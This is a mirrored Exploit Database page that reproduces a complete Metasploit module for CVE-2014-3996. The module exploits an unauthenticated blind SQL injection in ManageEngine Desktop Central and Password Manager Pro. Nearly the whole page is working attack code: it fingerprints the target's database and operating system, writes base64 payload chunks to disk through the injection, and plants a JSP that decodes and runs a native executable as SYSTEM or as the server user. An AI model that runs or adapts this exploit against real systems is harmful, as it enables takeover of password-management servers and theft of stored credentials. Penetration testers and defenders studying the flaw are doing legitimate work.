ManageEngine Password Manager – MetadataServlet.dat SQL Injection (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Pedro Ribeiro
  日期： 2014-08-25
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/34409/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'msf/core/exploit/file_dropper'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
  'Description'=> %q{
  This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
  which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
  Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
  SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
  the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
  or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
  with PostgreSQL you should find the web root path via other means and specify it with
  WEB_ROOT.
  
  The injection is only exploitable via a GET request, which means that the payload
  has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
  payloads and the use of exe-small is recommended, as you can only do between 10 and
  20 injections before using up all the available ManagedConnections until the next
  server restart.
  
  This vulnerability exists in all versions released since 2006, however builds below
  DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
  luck using the MySQL targets as a JDK might be installed in the $PATH.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and MSF module
  ],
  'References' =>
  [
  [ 'CVE', '2014-3996' ],
  [ 'OSVDB', '110198' ],
  [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
  [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
  ],
  'Arch' => ARCH_X86,
  'Platform' => %w{ linux win },
  'Targets'=>
  [
  ['Automatic', {}],
  ['Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
  {
  'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
  'Database' => 'postgresql',
  'Platform' => 'win'
  }
  ],
  ['Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
  {
  'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
  'Database' => 'postgresql',
  'Platform' => 'win'
  }
  ],
  ['Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
  {
  'WebRoot' => '../../webapps/DesktopCentral/',
  'Database' => 'mysql',
  'Platform' => 'win'
  }
  ],
  ['Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
  {
  'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
  'Database' => 'postgresql',
  'Platform' => 'win'
  }
  ],
  ['Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
  {
  'WebRoot' => '../../webapps/PassTrix/',
  'Database' => 'mysql',
  'Platform' => 'win'
  }
  ],
  ['Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
  {
  'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
  'Database' => 'postgresql',
  'Platform' => 'linux'
  }
  ],
  ['Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
  {
  'WebRoot' => '../../webapps/PassTrix/',
  'Database' => 'mysql',
  'Platform' => 'linux'
  }
  ]
  ],
  'DefaultTarget'=> 0,
  'Privileged' => false,# Privileged on Windows but not on Linux targets
  'DisclosureDate' => "Jun 8 2014"))
  
  register_options(
  [
  OptPort.new('RPORT',
  [true, 'The target port', 8020]),
  OptString.new('WEB_ROOT',
  [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
  ], self.class)
  
  register_advanced_options(
  [
  OptInt.new('CHUNK_SIZE',
  [true, 'Number of characters to send per request (< 7800)', 7500]),
  OptInt.new('SLEEP',
  [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
  OptBool.new('EXE_SMALL',
  [true, 'Use exe-small encoding for better reliability', true]),
  ], self.class)
  
  end
  
  def check
  check_code = check_desktop_central
  
  if check_code == Exploit::CheckCode::Unknown
  check_code = check_password_manager_pro
  end
  
  check_code
  end
  
  def exploit
  @my_target = pick_target
  if @my_target.nil?
  fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
  else
  print_status("#{peer} - Selected target #{@my_target.name}")
  end
  
  # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
  # Fail if this is the case to avoid polluting the web root any more.
  if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i
  fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
  end
  
  if datastore['WEB_ROOT']
  web_root = datastore['WEB_ROOT']
  else
  web_root = @my_target['WebRoot']
  end
  
  jsp_name= rand_text_alpha_lower(8) + ".jsp"
  fullpath = web_root + jsp_name
  inject_exec(fullpath)
  register_file_for_cleanup(fullpath.sub('../',''))
  
  print_status("#{peer} - Requesting #{jsp_name}")
  send_request_raw({'uri' => normalize_uri(jsp_name)})
  end
  
  # Test for Password Manager Pro
  def password_manager_paths
  db_paths = {}
  
  res = send_request_cgi({
   'uri' => normalize_uri("PassTrixMain.cc"),
   'method' => 'GET'
   })
  
  if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/
  if datastore['WEB_ROOT']
  db_paths[:postgresql] = datastore['WEB_ROOT'].dup
  db_paths[:mysql] = datastore['WEB_ROOT'].dup
  else
  db_paths[:postgresql] = targets[4]['WebRoot'].dup
  db_paths[:mysql] = targets[5]['WebRoot'].dup
  end
  end
  
  db_paths
  end
  
  # Test for Desktop Central
  def desktop_central_db_paths
  db_paths = {}
  res = send_request_cgi({
   'uri' => normalize_uri("configurations.do"),
   'method' => 'GET'
   })
  
  if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/
  if datastore['WEB_ROOT']
  db_paths[:postgresql] = datastore['WEB_ROOT'].dup
  db_paths[:mysql] = datastore['WEB_ROOT'].dup
  elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
  db_paths[:postgresql] = targets[2]['WebRoot'].dup
  db_paths[:mysql] = targets[3]['WebRoot'].dup
  else
  db_paths[:postgresql] = targets[1]['WebRoot'].dup
  db_paths[:mysql] = targets[3]['WebRoot'].dup
  end
  end
  
  db_paths
  end
  
  def db_paths
  paths = desktop_central_db_paths
  
  if paths.empty?
  paths = check_password_manager_pro
  end
  
  paths
  end
  
  def pick_mysql_target(mysql_path, rand_txt)
  file_path = mysql_path << rand_txt
  
  # @@version_compile_os will give us Win32 / Win64 if it's a Windows target
  inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")
  
  res = send_request_cgi({
   'uri' => normalize_uri(rand_txt),
   'method' => 'GET'
   })
  
  if res && res.code == 200
  register_file_for_cleanup(file_path.sub('../',''))
  if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
  if mysql_path =~ /DesktopCentral/
  # Desktop Central [MSP] / MySQL / Windows
  return targets[3]
  else
  # Password Manager Pro / MySQL / Windows
  return targets[5]
  end
  else
  # Password Manager Pro / MySQL / Linux
  return targets[7]
  end
  end
  
  nil
  end
  
  def pick_postgres_target(postgresql_path, rand_txt)
  file_path = postgresql_path << rand_txt
  
  # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
  inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
  
  res = send_request_cgi({
   'uri' => normalize_uri(rand_txt),
   'method' => 'GET'
   })
  
  if res && res.code == 200
  register_file_for_cleanup(file_path)
  if res.body.to_s =~ /Visual C++/
  if postgresql_path =~ /DesktopCentral_Server/
  # Desktop Central / PostgreSQL / Windows
  return targets[1]
  elsif postgresql_path =~ /DesktopCentralMSP_Server/
  # Desktop Central MSP / PostgreSQL / Windows
  return targets[2]
  else
  # Password Manager Pro / PostgreSQL / Windows
  return targets[4]
  end
  elsif res.body.to_s =~ /linux/
  # This is for the case when WEB_ROOT is provided
  # Password Manager Pro / PostgreSQL / Linux
  return targets[6]
  end
  end
  
  # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
  # no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
  file_path = targets[5]['WebRoot'].dup << rand_txt
  inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
  
  res = send_request_cgi({
   'uri' => normalize_uri(rand_txt),
   'method' => 'GET'
   })
  
  if res && res.code == 200 && res.body.to_s =~ /linux/
  # Password Manager Pro / PostgreSQL / Linux
  return targets[6]
  end
  
  nil
  end
  
  def pick_target
  return target if target.name != 'Automatic'
  
  print_status("#{peer} - Selecting target, this might take a few seconds...")
  rand_txt = rand_text_alpha_lower(8) << ".txt"
  
  paths = db_paths
  
  if paths.empty?
  # We don't know what this is, bail
  return nil
  end
  
  postgresql_path = paths[:postgresql]
  mysql_path = paths[:mysql]
  
  # try MySQL first, there are probably more of these out there
  mysql_target = pick_mysql_target(mysql_path, rand_txt)
  
  unless mysql_target.nil?
  return mysql_target
  end
  
  # didn't work, let's try PostgreSQL
  postgresql_target = pick_postgres_target(postgresql_path, rand_txt)
  
  postgresql_target
  end
  
  #
  # Creates the JSP that will assemble the payload on the server
  #
  def generate_jsp_encoded(files)
  native_payload_name = rand_text_alpha(rand(6)+3)
  ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
  
  var_raw = rand_text_alpha(rand(8) + 3)
  var_ostream = rand_text_alpha(rand(8) + 3)
  var_buf = rand_text_alpha(rand(8) + 3)
  var_decoder = rand_text_alpha(rand(8) + 3)
  var_tmp = rand_text_alpha(rand(8) + 3)
  var_path= rand_text_alpha(rand(8) + 3)
  var_proc2 = rand_text_alpha(rand(8) + 3)
  var_files = rand_text_alpha(rand(8) + 3)
  var_ch= rand_text_alpha(rand(8) + 3)
  var_istream = rand_text_alpha(rand(8) + 3)
  var_file= rand_text_alpha(rand(8) + 3)
  
  files_decl = "{ "
  files.each { |file|files_decl << "\"#{file}\"," }
  files_decl[-1] = "}"
  
  if @my_target['Platform'] == 'linux'
  var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
  chmod = %Q|
  Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
  Thread.sleep(200);
  |
  
  var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
  cleanup = %Q|
  Thread.sleep(200);
  Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
  |
  else
  chmod = ''
  cleanup = ''
  end
  
  jsp = %Q|
  <%@page import="java.io.*"%>
  <%@page import="sun.misc.BASE64Decoder"%>
  <%
  String[] #{var_files} = #{files_decl};
  try {
  int #{var_ch};
  StringBuilder #{var_buf} = new StringBuilder();
  for (String #{var_file} : #{var_files}) {
  BufferedInputStream #{var_istream} =
  new BufferedInputStream(new FileInputStream(#{var_file}));
  while((#{var_ch} = #{var_istream}.read())!= -1)
  #{var_buf}.append((char)#{var_ch});
  #{var_istream}.close();
  }
  
  BASE64Decoder #{var_decoder} = new BASE64Decoder();
  byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
  
  File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
  String #{var_path} = #{var_tmp}.getAbsolutePath();
  
  BufferedOutputStream #{var_ostream} =
  new BufferedOutputStream(new FileOutputStream(#{var_path}));
  #{var_ostream}.write(#{var_raw});
  #{var_ostream}.close();
  #{chmod}
  Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
  #{cleanup}
  } catch (Exception e) {
  }
  %>
  |
  
  jsp = jsp.gsub(/\n/, '')
  jsp = jsp.gsub(/\t/, '')
  
  if @my_target['Database'] == 'postgresql'
  # Ruby's base64 encoding adds newlines at every 60 chars, strip them
  [jsp].pack("m*").gsub(/\n/, '')
  else
  # Assuming mysql, applying hex encoding instead
  jsp.unpack("H*")[0]
  end
  end
  
  
  def inject_sql(sqli_command, target = nil)
  target = (target == nil) ? @my_target['Database'] : target
  if target == 'postgresql'
  sqli_prefix = "viewname\";"
  sqli_suffix = ";-- "
  else
  # Assuming mysql
  sqli_prefix = "viewname\" union "
  sqli_suffix = "#"
  end
  
  send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri("LinkViewFetchServlet.dat"),
  'vars_get'=> {
  'sv'=> sqli_prefix << sqli_command << sqli_suffix
  }
  })
  
  if target == 'postgresql'
  # PostgreSQL sometimes takes a while to write to the disk, so sleep more
  sleep(datastore['SLEEP'] * 2.5)
  else
  # Assuming mysql
  sleep(datastore['SLEEP'])
  end
   end
  
  # Generate the actual payload
  def generate_exe_payload
  opts = {:arch => @my_target.arch, :platform => @my_target.platform}
  payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
  if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
  exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
  payload.encoded, "exe-small", opts)
  else
  exe = generate_payload_exe(opts)
  end
  Rex::Text.encode_base64(exe)
  end
  
  # Uploads the payload in chunks
  def inject_exec(fullpath)
  base64_exe = generate_exe_payload
  base64_exe_len = base64_exe.length
  
  # We will be injecting in CHUNK_SIZE steps
  chunk_size = datastore['CHUNK_SIZE']
  copied = 0
  counter = 0
  if base64_exe_len < chunk_size
  chunk_size = base64_exe_len
  end
  chunks = (base64_exe_len.to_f / chunk_size).ceil
  time = chunks * datastore['SLEEP'] *
   ((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
  
  # We dump our files in either C:\Windows\system32 or /tmp
  # It's not very clean, but when using a MySQL target we have no other choice
  # as we are using relative paths for injection.
  # The Windows path has to be escaped with 4 backslashes because ruby eats one
  # and the JSP eats the other.
  files = Array.new(chunks)
  files.map! do |file|
  if @my_target['Platform'] == 'win'
  file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
  else
  # Assuming Linux, let's hope we can write to /tmp
  file = "/tmp/" + rand_text_alpha(rand(8)+3)
  end
  end
  
  print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds")
  
  if @my_target['Database'] == 'postgresql'
  inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
  else
  # Assuming mysql
  inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
  end
  register_file_for_cleanup(files[counter])
  copied += chunk_size
  counter += 1
  
  while copied < base64_exe_len
  if (copied + chunk_size) > base64_exe_len
  # Last loop
  chunk_size = base64_exe_len - copied
  end
  if @my_target['Database'] == 'postgresql'
  inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
  else
  # Assuming mysql
  inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
  end
  register_file_for_cleanup(files[counter])
  copied += chunk_size
  counter += 1
  end
  
  jsp_encoded = generate_jsp_encoded(files)
  if @my_target['Database'] == 'postgresql'
  inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'")
  else
  inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
  end
  end
  
  def check_desktop_central_8(body)
  if body =~ /id="buildNum" value="([0-9]+)"\/>/
  build = $1
  if ver_gt(build, '80200')
  print_status("#{peer} - Detected Desktop Central v8 #{build}")
  else
  print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
  end
  else
  print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
  end
  # DC v8 < 80200 uses the MySQL database
  Exploit::CheckCode::Appears
  end
  
  def check_desktop_central_9(body)
  if body =~ /id="buildNum" value="([0-9]+)"\/>/
  build = $1
  print_status("#{peer} - Detected Desktop Central v9 #{build}")
  if ver_lt(build, '90039')
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Safe
  end
  end
  end
  
  # Test for Desktop Central
  def check_desktop_central
  res = send_request_cgi({
   'uri' => normalize_uri("configurations.do"),
   'method' => 'GET'
   })
  
  unless res && res.code == 200
  return Exploit::CheckCode::Unknown
  end
  
  if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
  res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
  # DC v7 uses the MySQL database
  print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
  return Exploit::CheckCode::Appears
  elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
  res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
  return check_desktop_central_8(res.body.to_s)
  elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
  res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
  return check_desktop_central_9(res.body.to_s)
  end
  
  Exploit::CheckCode::Unknown
  end
  
  # Test for Password Manager Pro
  def check_password_manager_pro
  res = send_request_cgi({
   'uri' => normalize_uri("PassTrixMain.cc"),
   'method' => 'GET'
   })
  
  if res && res.code == 200 &&
  res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
  (
  res.body.to_s =~ /login\.css\?([0-9]+)/ ||# PMP v6
  res.body.to_s =~ /login\.css\?version=([0-9]+)/ ||# PMP v6
  res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
  )
  build = $1
  else
  return Exploit::CheckCode::Unknown
  end
  
  
  if ver_lt_eq(build, '6500')
  # if it's a build below 6500, it will only work if we have a JSP compiler
  print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
  return Exploit::CheckCode::Detected
  elsif ver_lt(build, '6800')
  # PMP v6 < 6800 uses the MySQL database
  print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
  return Exploit::CheckCode::Appears
  elsif ver_lt(build, '7003')
  print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
  return Exploit::CheckCode::Appears
  else
  print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
  Exploit::CheckCode::Safe
  end
  end
  
  def ver_lt(a, b)
  Gem::Version.new(a) < Gem::Version.new(b)
  end
  
  def ver_lt_eq(a, b)
  Gem::Version.new(a) <= Gem::Version.new(b)
  end
  
  def ver_gt_eq(a, b)
  Gem::Version.new(a) >= Gem::Version.new(b)
  end
  
  def ver_gt(a, b)
  Gem::Version.new(a) > Gem::Version.new(b)
  end
  end